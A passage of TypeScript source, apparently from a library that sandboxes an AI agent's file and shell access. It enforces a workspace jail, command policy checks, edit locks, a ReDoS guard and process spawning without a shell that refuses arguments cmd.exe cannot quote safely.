String.raw`\\([^()]*(?:${QUANTIFIER_SOURCE})[^()]*\\)(?:${QUANTIFIER_SOURCE})`,\n);\n\n/**\n * Whether `pattern` is safe enough to compile and run against workspace\n * content: within the length cap and free of the nested-quantifier shape\n * that causes catastrophic regex backtracking (ReDoS).\n */\nfunction isSafeGrepPattern(pattern: string): boolean {\n if (pattern.length > MAX_GREP_PATTERN_LENGTH) {\n return false;\n }\n\n return !NESTED_QUANTIFIER_PATTERN.test(pattern);\n}\n\n/**\n * The internal, single-instance implementation of {@link WorkspaceOps}.\n * Holds the backend + policy and is the one place the jail, command\n * gating, read caps, and the read-before-edit guard are enforced — both\n * the agent-facing tools and the human-facing direct methods funnel\n * through this object, so there is exactly one set of rules.\n */\n/**\n * State an ops layer shares with the other projections of the same\n * workspace (`readonly()`, `scope()`): the background commands it owns.\n */\nexport interface OpsRuntime {\n /** The workspace's background commands. */\n jobs: ShellJobs;\n}\n\nclass Ops implements WorkspaceOps {\n /**\n * Tail of the mutation chain per resolved absolute path. Writes, edits and\n * removes on the same path run one after another, so two tool calls the\n * agent dispatches concurrently cannot both read the same content, both\n * pass the stale-hash guard and silently drop one edit: the second one\n * re-reads after the first has written.\n */\n private readonly pathLocks = new Map<string, Promise<void>>();\n\n public constructor(\n private readonly backend: WorkspaceBackend,\n private readonly policy: WorkspacePolicy,\n private readonly runtime: OpsRuntime,\n ) {}\n\n /** Run `task` after every earlier mutation of `absolutePath` has settled. */\n private async withPathLock<T>(absolutePath: string, task: () => Promise<T>): Promise<T> {\n const previous = this.pathLocks.get(absolutePath) ?? Promise.resolve();\n let release: () => void = () => {};\n const current = new Promise<void>((resolve) => {\n release = resolve;\n });\n const tail = previous.then(() => current);\n\n this.pathLocks.set(absolutePath, tail);\n\n try {\n await previous;\n\n return await task();\n } finally {\n release();\n\n if (this.pathLocks.get(absolutePath) === tail) {\n this.pathLocks.delete(absolutePath);\n }\n }\n }\n\n /**\n * Recursively collect every file under `absDir` as absolute paths,\n * via the backend's `list` (so it works over disk or the in-memory\n * mock). Directories are descended; files are accumulated.\n */\n private async walkFiles(absDir: string): Promise<string[]> {\n const found: string[] = [];\n const entries = await this.backend.list(absDir);\n\n await Promise.all(\n entries.map(async (entry) => {\n // A child is a directory iff listing it succeeds; the backend\n // throws/returns for a file. Probe via `exists` + a list guard.\n const isDir = await this.isDirectory(entry);\n\n if (isDir) {\n const nested = await this.walkFiles(entry);\n found.push(...nested);\n } else {\n found.push(entry);\n }\n }),\n );\n\n return found;\n }\n\n /** Whether an absolute path is a directory, by attempting to list it. */\n private async isDirectory(absPath: string): Promise<boolean> {\n try {\n await this.backend.list(absPath);\n\n return true;\n } catch {\n return false;\n }\n }\n\n public async readFile(\n inputPath: string,\n opts?: { offset?: number; limit?: number },\n ): Promise<ReadFileResult> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n const raw = await this.backend.readFile(absolutePath);\n\n // Hash the full content the backend returned (SHA-256 via\n // @warlock.js/fs), not the returned window and not the on-disk file —\n // the mock backend keeps content in memory, and the stale-edit guard\n // later hashes the backend's content too, so it must be the SAME\n // source of truth whatever window or byte cap applied.\n const hash = fs.hash.string(raw);\n\n const lines = raw.split(\"\\n\");\n const totalLines = lines.length;\n\n const offset = Math.max(1, opts?.offset ?? 1);\n const limit = opts?.limit ?? this.policy.read?.defaultLines ?? DEFAULT_READ_LINES;\n const maxBytes = this.policy.read?.maxBytes;\n\n const startIndex = offset - 1;\n const window = lines.slice(startIndex, startIndex + Math.max(0, limit));\n const { content, returnedLines, bytesCapped } = numberWindow(\n window,\n offset,\n maxBytes === undefined ? undefined : Math.max(0, Math.floor(maxBytes)),\n );\n const endLine = offset + returnedLines - 1;\n\n return {\n content,\n startLine: offset,\n endLine,\n totalLines,\n truncated: bytesCapped || endLine < totalLines,\n bytesCapped,\n totalBytes: Buffer.byteLength(raw, \"utf8\"),\n hash,\n };\n }\n\n public async writeFile(\n inputPath: string,\n content: string,\n ): Promise<{ hash: string; bytesWritten: number }> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n return this.withPathLock(absolutePath, async () => {\n // Ensure the parent directory exists before writing the leaf.\n const parent = path.dirname(absolutePath);\n await this.backend.mkdir(parent);\n\n await this.backend.writeFile(absolutePath, content);\n\n return {\n hash: fs.hash.string(content),\n bytesWritten: Buffer.byteLength(content, \"utf8\"),\n };\n });\n }\n\n public async editFile(input: EditFileInput): Promise<EditFileResult> {\n const { absolutePath, relativePath } = await resolveInJail(this.policy, input.path);\n\n return this.withPathLock(absolutePath, () => this.applyEdit(input, absolutePath, relativePath));\n }\n\n /** The read-check-replace-write of {@link editFile}, run under its path lock. */\n private async applyEdit(\n input: EditFileInput,\n absolutePath: string,\n relativePath: string,\n ): Promise<EditFileResult> {\n const current = await this.backend.readFile(absolutePath);\n const currentHash = fs.hash.string(current);\n\n // Stale-hash guard: if the caller pinned a hash and the file moved\n // underneath them, refuse so they re-read before clobbering.\n if (input.expectHash !== undefined && input.expectHash !== currentHash) {\n throw new WorkspaceEditError(\n `File \"${input.path}\" changed since it was read; the edit is stale.`,\n {\n type: \"stale-hash\",\n path: relativePath || input.path,\n expectedHash: input.expectHash,\n actualHash: currentHash,\n },\n );\n }\n\n const { content: updated, replacements } = applyReplacement(\n current,\n input,\n input.path,\n relativePath || input.path,\n );\n\n await this.backend.writeFile(absolutePath, updated);\n\n return {\n path: relativePath || input.path,\n replacements,\n hash: fs.hash.string(updated),\n };\n }\n\n public async multiEdit(input: MultiEditInput): Promise<MultiEditResult> {\n const { absolutePath, relativePath } = await resolveInJail(this.policy, input.path);\n const shownPath = relativePath || input.path;\n\n if (input.edits.length === 0 || input.edits.length > MAX_MULTI_EDITS) {\n throw new RangeError(\n `A multi-edit needs between 1 and ${MAX_MULTI_EDITS} edits (got ${input.edits.length}).`,\n );\n }\n\n return this.withPathLock(absolutePath, async () => {\n const current = await this.backend.readFile(absolutePath);\n const currentHash = fs.hash.string(current);\n\n if (input.expectHash !== undefined && input.expectHash !== currentHash) {\n throw new WorkspaceEditError(\n `File \"${input.path}\" changed since it was read; none of the edits were applied.`,\n {\n type: \"stale-hash\",\n path: shownPath,\n expectedHash: input.expectHash,\n actualHash: currentHash,\n },\n );\n }\n\n // Apply every edit in memory first; one failure leaves the file untouched.\n let content = current;\n let replacements = 0;\n\n input.edits.forEach((edit, editIndex) => {\n const applied = applyReplacement(content, edit, input.path, shownPath, editIndex);\n\n content = applied.content;\n replacements += applied.replacements;\n });\n\n await this.backend.writeFile(absolutePath, content);\n\n return {\n path: shownPath,\n edits: input.edits.length,\n replacements,\n hash: fs.hash.string(content),\n };\n });\n }\n\n /**\n * Check a command line against the shell policy: every command in it\n * (argv or shell mode), then — shell mode — every redirection target and\n * `cd` directory against the jail with symlinks resolved.\n */\n private async assertCommandAllowed(command: string): Promise<void> {\n const verdict = checkShellCommand(this.policy, command);\n\n if (!verdict.allowed) {\n throw new WorkspacePolicyError(\n verdict.message ?? `Command is not permitted by the workspace shell policy: ${command}`,\n {\n type: \"denied-command\",\n command,\n ...(verdict.reason !== undefined ? { reason: verdict.reason } : {}),\n ...(verdict.executable !== undefined ? { executable: verdict.executable } : {}),\n ...(verdict.path !== undefined ? { path: verdict.path } : {}),\n },\n );\n }\n\n for (const target of verdict.paths) {\n try {\n await resolveInJail(this.policy, target.path);\n } catch (error) {\n if (!(error instanceof WorkspacePolicyError)) {\n throw error;\n }\n\n throw new WorkspacePolicyError(\n target.access === \"cwd\"\n ? `\\`cd ${target.target}\\` resolves (through a symlink) outside the workspace jail or onto a denied path.`\n : `The redirection target \\`${target.target}\\` resolves (through a symlink) outside the workspace jail or onto a denied path.`,\n { type: \"denied-command\", reason: \"path-escape\", command, path: target.target },\n );\n }\n }\n\n if (this.runtime.jobs.isDisposed) {\n throw new WorkspacePolicyError(\n \"The workspace has been disposed; it cannot run new commands.\",\n { type: \"denied-command\", reason: \"not-allowed\", command },\n );\n }\n }\n\n public async exec(command: string, opts?: ExecOptions): Promise<RunShellResult> {\n await this.assertCommandAllowed(command);\n\n const signal = opts?.signal;\n\n // Refuse an already-cancelled invocation here, so no backend — built-in\n // or custom — ever starts a command whose caller has given up on it.\n if (signal?.aborted) {\n return {\n exitCode: CANCELLED_BEFORE_START_EXIT_CODE,\n stdout: \"\",\n stderr: \"Command was not executed: the invocation was cancelled before it started.\",\n truncated: false,\n timedOut: false,\n cancelled: true,\n };\n }\n\n const shell = this.policy.shell;\n const timeoutMs = opts?.timeoutMs ?? shell?.timeoutMs;\n const maxOutputBytes = shell?.maxOutputBytes ?? DEFAULT_MAX_OUTPUT_BYTES;\n const interpreter = shell?.interpreter ?? \"none\";\n\n const result = await this.backend.exec(command, {\n cwd: this.policy.cwd,\n timeoutMs,\n env: buildCommandEnv(this.policy),\n ...(signal ? { signal } : {}),\n ...(interpreter !== \"none\" ? { interpreter } : {}),\n });\n\n const stdout = capOutput(result.stdout, maxOutputBytes);\n const stderr = capOutput(result.stderr, maxOutputBytes);\n const cancelled = result.cancelled === true;\n\n return {\n exitCode: result.exitCode,\n stdout: stdout.value,\n stderr: stderr.value,\n truncated: stdout.truncated || stderr.truncated,\n timedOut: result.timedOut && !cancelled,\n cancelled,\n };\n }\n\n public async startShell(command: string, opts?: StartShellOptions): Promise<ShellJobInfo> {\n const background = this.policy.shell?.background;\n\n if (background === undefined) {\n throw new WorkspacePolicyError(\n \"Background commands are not enabled for this workspace. Run the command without background, or ask for shell.background to be enabled.\",\n { type: \"denied-command\", reason: \"not-allowed\", command },\n );\n }\n\n await this.assertCommandAllowed(command);\n\n const start = this.backend.start?.bind(this.backend);\n\n if (start === undefined) {\n throw new WorkspacePolicyError(\"This workspace backend cannot run background commands.\", {\n type: \"denied-command\",\n reason: \"not-allowed\",\n command,\n });\n }\n\n const shell = this.policy.shell;\n const interpreter = shell?.interpreter ?? \"none\";\n const timeoutMs = lowerOf(background.timeoutMs, opts?.timeoutMs);\n const env = buildCommandEnv(this.policy);\n\n return this.runtime.jobs.start({\n command,\n retainBytes: shell?.maxOutputBytes ?? DEFAULT_MAX_OUTPUT_BYTES,\n maxJobs: background.maxJobs ?? DEFAULT_MAX_BACKGROUND_JOBS,\n ...(timeoutMs !== undefined ? { timeoutMs } : {}),\n launch: (onOutput) =>\n start(command, {\n cwd: this.policy.cwd,\n env,\n ...(interpreter !== \"none\" ? { interpreter } : {}),\n onOutput,\n }),\n });\n }\n\n public shellOutput(id: string, opts?: ShellOutputOptions): Promise<ShellOutputResult> {\n return this.runtime.jobs.output(id, opts);\n }\n\n public shellKill(id: string): Promise<ShellJobInfo> {\n return this.runtime.jobs.kill(id);\n }\n\n public listShells(): ShellJobInfo[] {\n return this.runtime.jobs.list();\n }\n\n public dispose(): Promise<void> {\n return this.runtime.jobs.dispose();\n }\n\n public async listDir(inputPath = \".\", opts?: ListDirOptions): Promise<ListDirResult> {\n const { absolutePath: root, relativePath: rootRelative } = await resolveInJail(\n this.policy,\n inputPath,\n );\n const { absolutePath: jailRoot } = await resolveInJail(this.policy, \".\");\n const listPolicy = this.policy.list;\n const maxDepth = Math.max(1, Math.floor(listPolicy?.maxDepth ?? DEFAULT_LIST_MAX_DEPTH));\n const depth = Math.min(Math.max(1, Math.floor(opts?.depth ?? 1)), maxDepth);\n const maxEntries = Math.max(1, Math.floor(listPolicy?.maxEntries ?? DEFAULT_LIST_MAX_ENTRIES));\n const ignore = [...(listPolicy?.ignore ?? DEFAULT_LIST_IGNORE), ...(opts?.ignore ?? [])];\n const insideCwd = isInside(root, jailRoot);\n\n if (!(await this.isDirectory(root))) {\n throw new Error(`\"${inputPath}\" is not a directory in the workspace.`);\n }\n\n const entries: ListDirEntry[] = [];\n let level: string[] = [root];\n let truncated = false;\n\n for (let currentDepth = 1; currentDepth <= depth && level.length > 0; currentDepth++) {\n const nextLevel: string[] = [];\n\n for (const directory of level) {\n let children: string[];\n\n try {\n children = await this.backend.list(directory);\n } catch {\n continue;\n }\n\n children.sort((left, right) => (left < right ? -1 : left > right ? 1 : 0));\n\n for (const child of children) {\n const relativeToJail = insideCwd\n ? path.relative(jailRoot, child).split(path.sep).join(\"/\")\n : child;\n\n if (\n insideCwd &&\n (this.isDenied(relativeToJail) || matchesAnyGlob(relativeToJail, ignore))\n ) {\n continue;\n }\n\n const relativeToRoot = path.relative(root, child).split(path.sep).join(\"/\");\n\n if (!insideCwd && matchesAnyGlob(relativeToRoot, ignore)) {\n continue;\n }\n\n if (entries.length >= maxEntries) {\n truncated = true;\n\n break;\n }\n\n const described = await this.describe(child);\n\n entries.push({\n path: relativeToJail,\n type: described.type,\n ...(described.size !== undefined ? { size: described.size } : {}),\n depth: currentDepth,\n });\n\n if (described.type === \"directory\") {\n nextLevel.push(child);\n }\n }\n\n if (truncated) {\n break;\n }\n }\n\n if (truncated) {\n break;\n }\n\n level = nextLevel;\n }\n\n return { path: insideCwd ? rootRelative || \".\" : root, entries, truncated };\n }\n\n /** Kind and size of a listed entry; symlinks are reported, never followed. */\n private async describe(absPath: string): Promise<{ type: ListDirEntryType; size?: number }> {\n if (this.backend.stat) {\n try {\n const stats = await this.backend.stat(absPath);\n\n return stats.type === \"file\" ? { type: \"file\", size: stats.size } : { type: stats.type };\n } catch {\n return { type: \"other\" };\n }\n }\n\n // No `stat`: a child is a directory iff it can be listed, and it must\n // still resolve inside the jail before it is descended into.\n if (await this.isDirectory(absPath)) {\n try {\n await resolveInJail(this.policy, absPath);\n\n return { type: \"directory\" };\n } catch {\n return { type: \"other\" };\n }\n }\n\n return { type: \"file\" };\n }\n\n public async grep(\n pattern: string,\n opts?: { glob?: string; ignoreCase?: boolean },\n ): Promise<GrepResult> {\n if (!isSafeGrepPattern(pattern)) {\n throw new WorkspacePolicyError(\n `Grep pattern is too long or too likely to cause catastrophic regex backtracking: ${pattern}`,\n { type: \"unsafe-pattern\", pattern },\n );\n }\n\n const { absolutePath: jailRoot } = await resolveInJail(this.policy, \".\");\n const flags = opts?.ignoreCase ? \"i\" : \"\";\n const regex = new RegExp(pattern, flags);\n const globRegex = opts?.glob ? globToRegExp(opts.glob) : undefined;\n\n const files = await this.walkFiles(jailRoot);\n const matches: GrepMatch[] = [];\n\n for (const absFile of files) {\n const relativePath = path.relative(jailRoot, absFile).split(path.sep).join(\"/\");\n\n if (globRegex && !globRegex.test(relativePath)) {\n continue;\n }\n\n // Skip files the deny list would block (e.g. `.git/**`).\n if (this.isDenied(relativePath)) {\n continue;\n }\n\n let content: string;\n\n try {\n content = await this.backend.readFile(absFile);\n } catch {\n // Unreadable entry (vanished, binary handle) — skip, don't fail.\n continue;\n }\n\n const lines = content.split(\"\\n\");\n\n for (let index = 0; index < lines.length; index++) {\n const line = lines[index] ?? \"\";\n\n // Cap the input size a single `RegExp#test` call scans: backtracking\n // cost is exponential in input length, so this bounds the worst-case\n // time even a pathological (but length/shape-allowed) pattern can\n // burn on any one line.\n if (line.length > MAX_GREP_LINE_SCAN_LENGTH) {\n continue;\n }\n\n if (regex.test(line)) {\n matches.push({ path: relativePath, line: index + 1, text: line });\n\n if (matches.length >= DEFAULT_MAX_GREP_MATCHES) {\n return { matches, total: matches.length };\n }\n }\n }\n }\n\n return { matches, total: matches.length };\n }\n\n public async glob(pattern: string): Promise<string[]> {\n const { absolutePath: jailRoot } = await resolveInJail(this.policy, \".\");\n const regex = globToRegExp(pattern);\n\n const files = await this.walkFiles(jailRoot);\n const matched: string[] = [];\n\n for (const absFile of files) {\n const relativePath = path.relative(jailRoot, absFile).split(path.sep).join(\"/\");\n\n if (this.isDenied(relativePath)) {\n continue;\n }\n\n if (regex.test(relativePath)) {\n matched.push(relativePath);\n }\n }\n\n return matched.sort();\n }\n\n public async exists(inputPath: string): Promise<boolean> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n return this.backend.exists(absolutePath);\n }\n\n public async mkdir(inputPath: string): Promise<void> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n await this.backend.mkdir(absolutePath);\n }\n\n public async remove(inputPath: string): Promise<void> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n await this.withPathLock(absolutePath, () => this.backend.remove(absolutePath));\n }\n\n /** Whether a `/`-separated relative path hits the policy deny list. */\n private isDenied(relativePath: string): boolean {\n const denyPaths = this.policy.denyPaths;\n\n return (\n denyPaths !== undefined && denyPaths.length > 0 && matchesAnyGlob(relativePath, denyPaths)\n );\n }\n}\n\n/** The lower of two optional limits (either may be absent). */\nfunction lowerOf(\n policyLimit: number | undefined,\n requested: number | undefined,\n): number | undefined {\n if (requested === undefined || requested <= 0) {\n return policyLimit;\n }\n\n return policyLimit === undefined ? requested : Math.min(policyLimit, requested);\n}\n\n/**\n * Apply one exact-string replacement to `content` under the edit rules:\n * `oldString` must occur, and exactly once unless `replaceAll`.\n */\nfunction applyReplacement(\n content: string,\n edit: MultiEditOperation,\n inputPath: string,\n shownPath: string,\n editIndex?: number,\n): { content: string; replacements: number } {\n const occurrences = countOccurrences(content, edit.oldString);\n const which = editIndex === undefined ? \"\" : `Edit ${editIndex + 1}: `;\n const nothingApplied = editIndex === undefined ? \"\" : \" None of the edits were applied.\";\n const indexOption = editIndex === undefined ? {} : { editIndex };\n\n if (occurrences === 0) {\n throw new WorkspaceEditError(\n `${which}The text to replace was not found in \"${inputPath}\".${nothingApplied}`,\n { type: \"not-found\", path: shownPath, matches: 0, ...indexOption },\n );\n }\n\n if (occurrences > 1 && !edit.replaceAll) {\n throw new WorkspaceEditError(\n `${which}The text to replace is not unique in \"${inputPath}\" (${occurrences} matches); ` +\n `pass replaceAll or include more surrounding context.${nothingApplied}`,\n { type: \"not-unique\", path: shownPath, matches: occurrences, ...indexOption },\n );\n }\n\n return {\n content: edit.replaceAll\n ? content.split(edit.oldString).join(edit.newString)\n : replaceFirst(content, edit.oldString, edit.newString),\n replacements: edit.replaceAll ? occurrences : 1,\n };\n}\n\n/** Count non-overlapping occurrences of `needle` in `haystack`. */\nfunction countOccurrences(haystack: string, needle: string): number {\n if (needle === \"\") {\n return 0;\n }\n\n let count = 0;\n let from = 0;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n const index = haystack.indexOf(needle, from);\n\n if (index === -1) {\n break;\n }\n\n count++;\n from = index + needle.length;\n }\n\n return count;\n}\n\n/** Replace the first occurrence of `needle` with `replacement`. */\nfunction replaceFirst(haystack: string, needle: string, replacement: string): string {\n const index = haystack.indexOf(needle);\n\n if (index === -1) {\n return haystack;\n }\n\n return haystack.slice(0, index) + replacement + haystack.slice(index + needle.length);\n}\n\n/**\n * Create the policy-enforced operation layer over a backend.\n *\n * The returned {@link WorkspaceOps} is the single seam both the\n * agent-facing `.tools.*` factories and the human-facing direct methods\n * delegate to — one jail, one command-gate, one read-before-edit guard,\n * regardless of caller. Path inputs are workspace-relative and resolved\n * against `policy.cwd`; escapes and denied commands surface as typed\n * {@link WorkspacePolicyError} / {@link WorkspaceEditError}.\n *\n * @param backend - The dumb IO executor (local disk or in-memory mock).\n * @param policy - The policy that bounds every operation.\n * @param runtime - State shared with other views of the same workspace\n * (its background commands); a fresh one when omitted.\n *\n * @example\n * const ops = createOps(localBackend, { cwd: \"/srv/api\", shell: { allow: [\"npm\"] } });\n * const { content, hash } = await ops.readFile(\"src/index.ts\");\n */\nexport function createOps(\n backend: WorkspaceBackend,\n policy: WorkspacePolicy,\n runtime?: OpsRuntime,\n): WorkspaceOps {\n return new Ops(backend, policy, runtime ?? { jobs: new ShellJobs() });\n}\n","import { spawn } from \"node:child_process\";\nimport { lstat, realpath } from \"node:fs/promises\";\nimport { platform } from \"node:process\";\nimport { StringDecoder } from \"node:string_decoder\";\nimport { fs } from \"@warlock.js/fs\";\nimport { tokenizeCommand } from \"../policy/tokenize-command\";\nimport type { WorkspaceShellInterpreter } from \"../contracts/workspace-policy.type\";\nimport type {\n WorkspaceBackend,\n WorkspaceBackendExecOptions,\n WorkspaceBackendExecResult,\n WorkspaceBackendProcess,\n WorkspaceBackendStartOptions,\n WorkspaceBackendStat,\n} from \"../contracts/workspace-backend.contract\";\n\n/**\n * Hard ceiling on captured `stdout`/`stderr` per stream, in bytes. The raw\n * executor truncates each stream once this many bytes have accumulated so a\n * runaway command cannot exhaust memory; the ops layer applies its own\n * policy-driven cap (and the `truncated` flag) on top. Generous enough that\n * ordinary command output is never clipped here.\n */\nconst MAX_STREAM_BYTES = 10 * 1024 * 1024;\n\n/**\n * Append a chunk to a capped list of buffers, tracking the running byte\n * total and stopping once {@link MAX_STREAM_BYTES} is reached. Trailing bytes\n * past the cap are dropped rather than buffered.\n */\nfunction pushCapped(chunks: Buffer[], total: number, chunk: Buffer): number {\n if (total >= MAX_STREAM_BYTES) {\n return total;\n }\n\n const remaining = MAX_STREAM_BYTES - total;\n\n if (chunk.length <= remaining) {\n chunks.push(chunk);\n\n return total + chunk.length;\n }\n\n chunks.push(chunk.subarray(0, remaining));\n\n return MAX_STREAM_BYTES;\n}\n\n/**\n * Force-kill a spawned command and its entire process tree.\n *\n * The direct child may have grandchildren (on Windows it is the `cmd.exe`\n * wrapper around a batch shim; anywhere, an allowed `npm`/`node` can spawn\n * further processes), so signalling the direct child alone could leave a\n * long-running grandchild alive and the `exec` promise unsettled. We\n * therefore kill the whole group:\n * - **Windows** — `taskkill /T /F` walks and terminates the PID's tree.\n * - **POSIX** — the child is spawned `detached`, becoming its own process\n * group leader, so `process.kill(-pid)` SIGKILLs the group.\n */\nfunction killTree(pid: number | undefined, child: { kill(signal: NodeJS.Signals): boolean }): void {\n if (pid === undefined) {\n child.kill(\"SIGKILL\");\n\n return;\n }\n\n if (platform === \"win32\") {\n const killer = spawn(\"taskkill\", [\"/pid\", String(pid), \"/T\", \"/F\"], { windowsHide: true });\n\n // Without a listener a failed spawn (taskkill missing from PATH) is an\n // unhandled 'error' event that crashes the process; fall back to the\n // direct child instead.\n killer.on(\"error\", () => {\n child.kill(\"SIGKILL\");\n });\n\n return;\n }\n\n try {\n process.kill(-pid, \"SIGKILL\");\n } catch {\n // The group may already be gone; fall back to the direct child.\n child.kill(\"SIGKILL\");\n }\n}\n\n/**\n * Argument bytes `cmd.exe` cannot carry safely even inside double quotes:\n * an embedded quote breaks out of the quoted span, `%` triggers variable\n * expansion regardless of quoting, and newlines end the command line. An\n * argv containing any of these is refused rather than risked (the\n * BatBadBut / CVE-2024-24576 class of `cmd.exe` argument smuggling).\n */\nconst WIN32_UNSAFE_ARGUMENT = /[\"%\\r\\n]/;\n\n/**\n * Build the `cmd.exe` invocation that runs an argv on Windows. Batch shims\n * (`npm.cmd`, `npx.cmd`, …) cannot be spawned directly without a shell\n * (Node rejects them since CVE-2024-27980), so the argv is run through\n * `cmd.exe /d /s /c` with every element individually double-quoted —\n * quoted spans are literal to cmd's parser, so pipes/ampersands inside an\n * argument stay argument data. Returns `null` when an element contains a\n * byte cmd cannot quote safely (see {@link WIN32_UNSAFE_ARGUMENT}).\n *\n * The caller must spawn with `windowsVerbatimArguments: true` so Node does\n * not re-quote the already-quoted command line.\n */\nfunction toWin32CmdInvocation(argv: string[]): { file: string; args: string[] } | null {\n if (argv.some((element) => WIN32_UNSAFE_ARGUMENT.test(element))) {\n return null;\n }\n\n const commandLine = argv.map((element) => `\"${element}\"`).join(\" \");\n\n return {\n file: process.env.ComSpec ?? \"cmd.exe\",\n args: [\"/d\", \"/s\", \"/c\", `\"${commandLine}\"`],\n };\n}\n\n/** The shell a POSIX shell-mode line runs through — an absolute path, never a PATH lookup. */\nconst POSIX_SHELL = \"/bin/sh\";\n\n/** How to spawn a command line, or why it cannot be spawned. */\ntype SpawnPlan =\n | { file: string; args: string[]; windowsVerbatimArguments: boolean }\n | { refused: string };\n\n/**\n * Work out the spawn for a command line.\n *\n * - argv mode: tokenize (no shell semantics) and spawn the argv directly —\n * on Windows through an individually-quoted `cmd.exe` wrapper.\n * - shell mode: `/bin/sh -c <line>`, or `cmd.exe /d /v:off /s /c \"<line>\"`\n * on Windows (`/d` skips AutoRun, `/v:off` disables delayed `!` expansion,\n * `/s` keeps the line verbatim inside the outer quotes). The ops layer has\n * already checked every command in the line.\n */\nfunction planSpawn(command: string, interpreter: WorkspaceShellInterpreter): SpawnPlan {\n if (interpreter === \"sh\") {\n if (platform === \"win32\") {\n return {\n file: process.env.ComSpec ?? \"cmd.exe\",\n args: [\"/d\", \"/v:off\", \"/s\", \"/c\", `\"${command}\"`],\n windowsVerbatimArguments: true,\n };\n }\n\n return { file: POSIX_SHELL, args: [\"-c\", command], windowsVerbatimArguments: false };\n }\n\n const argv = tokenizeCommand(command);\n const executable = argv?.[0];\n\n if (argv === null || executable === undefined) {\n return {\n refused:\n \"Command was not executed: it is empty, has unbalanced quotes, or \" +\n \"contains unquoted shell metacharacters (;, &, |, `, $, <, >, \" +\n \"parentheses). Commands run without a shell — pass metacharacters \" +\n \"inside quotes as literal arguments, or run one command at a time.\",\n };\n }\n\n if (platform === \"win32\") {\n const invocation = toWin32CmdInvocation(argv);\n\n if (invocation === null) {\n return {\n refused:\n 'Command was not executed: on Windows, arguments containing \", %, ' +\n \"or newlines cannot be passed to cmd.exe safely.\",\n };\n }\n\n return { ...invocation, windowsVerbatimArguments: true };\n }\n\n return { file: executable, args: argv.slice(1), windowsVerbatimArguments: false };\n}\n\n/**\n * Kill functions of every background process still running, so they can\n * be reaped if the Node process exits without the workspace being disposed\n * (detached process groups would otherwise outlive it).\n */\nconst liveBackgroundKills = new Set<() => void>();\n\nlet exitHookInstalled = false;\n\n/** Track a live background tree; installs (once) the exit hook that kills them. */\nfunction trackBackgroundProcess(kill: () => void): () => void {\n liveBackgroundKills.add(kill);\n\n if (!exitHookInstalled) {\n exitHookInstalled = true;\n process.on(\"exit\", () => {\n for (const killTreeNow of liveBackgroundKills) {\n killTreeNow();\n }\n });\n }\n\n return () => {\n liveBackgroundKills.delete(kill);\n };\n}\n\n/**\n * The real-disk executor: every filesystem method delegates to\n * `@warlock.js/fs` (never `node:fs`), and {@link LocalBackend.exec} spawns a\n * process via `node:child_process`. It is deliberately **policy-agnostic** —\n * it receives already-resolved absolute paths and an already-resolved\n * environment + timeout from the ops layer, and just performs the side\n * effect. See {@link WorkspaceBackend} for the contract this implements.\n *\n * Constructed via {@link createLocalBackend}; the class itself is internal.\n */\nclass LocalBackend implements WorkspaceBackend {\n /** Read a file's full UTF-8 content at an absolute path. */\n public async readFile(absPath: string): Promise<string> {\n return fs.files.get(absPath);\n }\n\n /**\n * Write full content to an absolute path. Uses `atomicWriteAsync`, so a\n * concurrent reader never observes a half-written file, and missing parent\n * directories are created.\n */\n public async writeFile(absPath: string, content: string): Promise<void> {\n await fs.files.put(absPath, content, { atomic: true });\n }\n\n /** Whether anything (file or directory) exists at an absolute path. */\n public async exists(absPath: string): Promise<boolean> {\n return fs.exists(absPath);\n }\n\n /** Create a directory (and any missing parents) at an absolute path; idempotent. */\n public async mkdir(absPath: string): Promise<void> {\n await fs.dirs.ensure(absPath);\n }\n\n /**\n * Remove a file or directory tree at an absolute path. Stats the target to\n * pick the right op — `fs.dirs.remove` (recursive) for a directory,\n * `fs.files.remove` for anything else. A path that does not exist is a no-op\n * (the stat's ENOENT short-circuits, and both removes swallow `ENOENT`).\n */\n public async remove(absPath: string): Promise<void> {\n let isDirectory = false;\n\n try {\n isDirectory = (await fs.files.stats(absPath)).type === \"directory\";\n } catch (error) {\n if ((error as NodeJS.ErrnoException)?.code === \"ENOENT\") {\n return;\n }\n\n throw error;\n }\n\n if (isDirectory) {\n await fs.dirs.remove(absPath);\n\n return;\n }\n\n await fs.files.remove(absPath);\n }\n\n /** List immediate children of an absolute directory as absolute paths. */\n public async list(absDir: string): Promise<string[]> {\n return fs.dirs.list(absDir);\n }\n\n /**\n * Describe a path without following a final symlink (`lstat` — like\n * `realpath`, a filesystem operation `@warlock.js/fs` does not expose).\n */\n public async stat(absPath: string): Promise<WorkspaceBackendStat> {\n const stats = await lstat(absPath);\n const type = stats.isSymbolicLink()\n ? \"symlink\"\n : stats.isDirectory()\n ? \"directory\"\n : stats.isFile()\n ? \"file\"\n : \"other\";\n\n return { type, size: stats.size };\n }\n\n /**\n * Resolve symlinks and `..` segments to a canonical absolute path — the\n * primitive the ops-layer jail uses to detect escapes. Delegates to\n * `node:fs/promises` `realpath`, the one filesystem operation `@warlock.js/fs`\n * does not expose.\n */\n public async realpath(absPath: string): Promise<string> {\n return realpath(absPath);\n }\n\n /**\n * Run a command and capture its outcome. In argv mode (the default) the\n * command line is tokenized into an argv (quotes respected, NO shell\n * semantics — see `tokenizeCommand`) and spawned **without a shell**, so\n * metacharacters like `;`, `&&`, `|`, backticks, and `$()` can never\n * chain extra commands past the ops layer's allowlist; a command they\n * appear unquoted in is refused with exit code 127. On Windows the argv\n * runs through a `cmd.exe /d /s /c` wrapper (batch shims like `npm.cmd`\n * cannot be spawned shell-less) with every element individually quoted.\n * With `interpreter: \"sh\"` the line runs through `/bin/sh -c` (or\n * `cmd.exe /d /v:off /s /c` on Windows) — only after the ops layer has\n * checked every command in it.\n * `cwd`, `env`, and the timeout are taken verbatim from the ops layer\n * (the environment is NOT merged with `process.env`). On timeout the\n * process tree is SIGKILLed and `timedOut` is set. When `signal` aborts\n * mid-run the process tree is SIGKILLed the same way and `cancelled` is\n * set; an already-aborted `signal` resolves `cancelled` without spawning.\n * `stdout`/`stderr` are captured and byte-capped per {@link MAX_STREAM_BYTES}.\n *\n * Never rejects for a non-zero exit, a missing executable, a refused\n * command line, a timeout or a cancellation — those are reported through the resolved\n * {@link WorkspaceBackendExecResult} so the ops layer can surface them\n * as tool-error data.\n */\n public exec(\n command: string,\n opts: WorkspaceBackendExecOptions = {},\n ): 